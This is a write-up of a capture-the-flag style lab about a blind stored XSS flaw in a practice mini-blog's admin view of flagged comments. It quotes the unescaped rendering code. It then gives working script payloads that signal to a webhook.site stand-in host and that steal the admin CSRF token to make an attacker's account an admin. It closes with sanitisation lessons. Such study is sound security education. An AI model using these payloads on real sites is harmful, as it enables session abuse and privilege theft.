This writeup documents a Blind XSS vulnerability in a mini blog application from AppSecMaster.
Table of contents
Open Table of contents
Vulnerability Analysis
Code Analysis
The vulnerability exists in the renderComment function where flagged comment details are displayed to admins. The flagInfo.reason field is rendered directly into HTML without any sanitization. While flagInfo.flagType and flagInfo.flaggedBy are escaped using escapeHTML(), the reason field is not. This creates a XSS vulnerability that executes when administrators view flagged comments.
// Only show report details to admin
if (isAdmin && flagInfo) {
flagStatus = `
<div class="flag-details">
<strong>⚠️ Flagged as ${escapeHTML(flagInfo.flagType)}:</strong>
${flagInfo.reason}
<div class="flag-meta">
Flagged by ${escapeHTML(flagInfo.flaggedBy)} on ${new Date(flagInfo.timestamp).toLocaleString()}
</div>
</div>`;
}
Attack Vector
- Attacker registers/logs in as a regular user (alice, bob, etc.)
- Posts a comment
- Flags the comment with a malicious JavaScript in the “reason” field
- Payload gets stored in the
flaggedCommentsarray - Admin views the flagged comments -> XSS payload executes in admin’s browser session
- Attacker can perform privileged actions
Exploitation
Basic Proof of Concept
I used the following payload to test if my approach would work. This payload will send an external request to the webhook, proving that the XSS worked.
<script>
fetch('https://webhook.site/YOUR-WEBHOOK-ID?xss=executed×tamp=' + Date.now());
</script>
Working Privilege Escalation Exploit
The masterkey cookie is set for users where is_admin: true. Therefore we need to escalate the privileges of a normal user. Looking at the code, there is an endpoint which allows us to make any user admin.
// Edit user settings
app.post("/admin/users/edit", (req, res) => {
if (!isAdmin(req)) return res.status(403).send("Forbidden");
if (!verifyCSRF(req, res)) return res.status(403).send("Invalid CSRF token");
const { username } = req.body;
if (users[username]) {
users[username].is_admin = true;
res.redirect("/admin");
} else {
res.status(404).send("User not found");
}
});
Based on that I created a payload which fetches the CSRF token and sends a POST request to the /admin/users/edit endpoint with the CSRF token and the username of the user. I also added a confirmation request to the external webhook page.
<script>
fetch('/admin').then(r => r.text()).then(h => {
const t = h.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/users/edit', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: '_csrf=' + t + '&username=alice',
credentials: 'include'
}).then(() => fetch('https://webhook.site/YOUR-WEBHOOK-ID?done=1'))
})
</script>
Result
The Admin visits the page every 30 seconds… after this I can login as alice and get the masterkey from the cookie! 🎉
Key Takeaways
- Always sanitize user input before rendering it in HTML
- Apply the same escaping functions consistently to all user-controlled data
- Blind XSS vulnerabilities can be particularly dangerous as they target privileged users
- CSRF tokens alone don’t protect against XSS - if an attacker can execute JavaScript, they can extract and use the token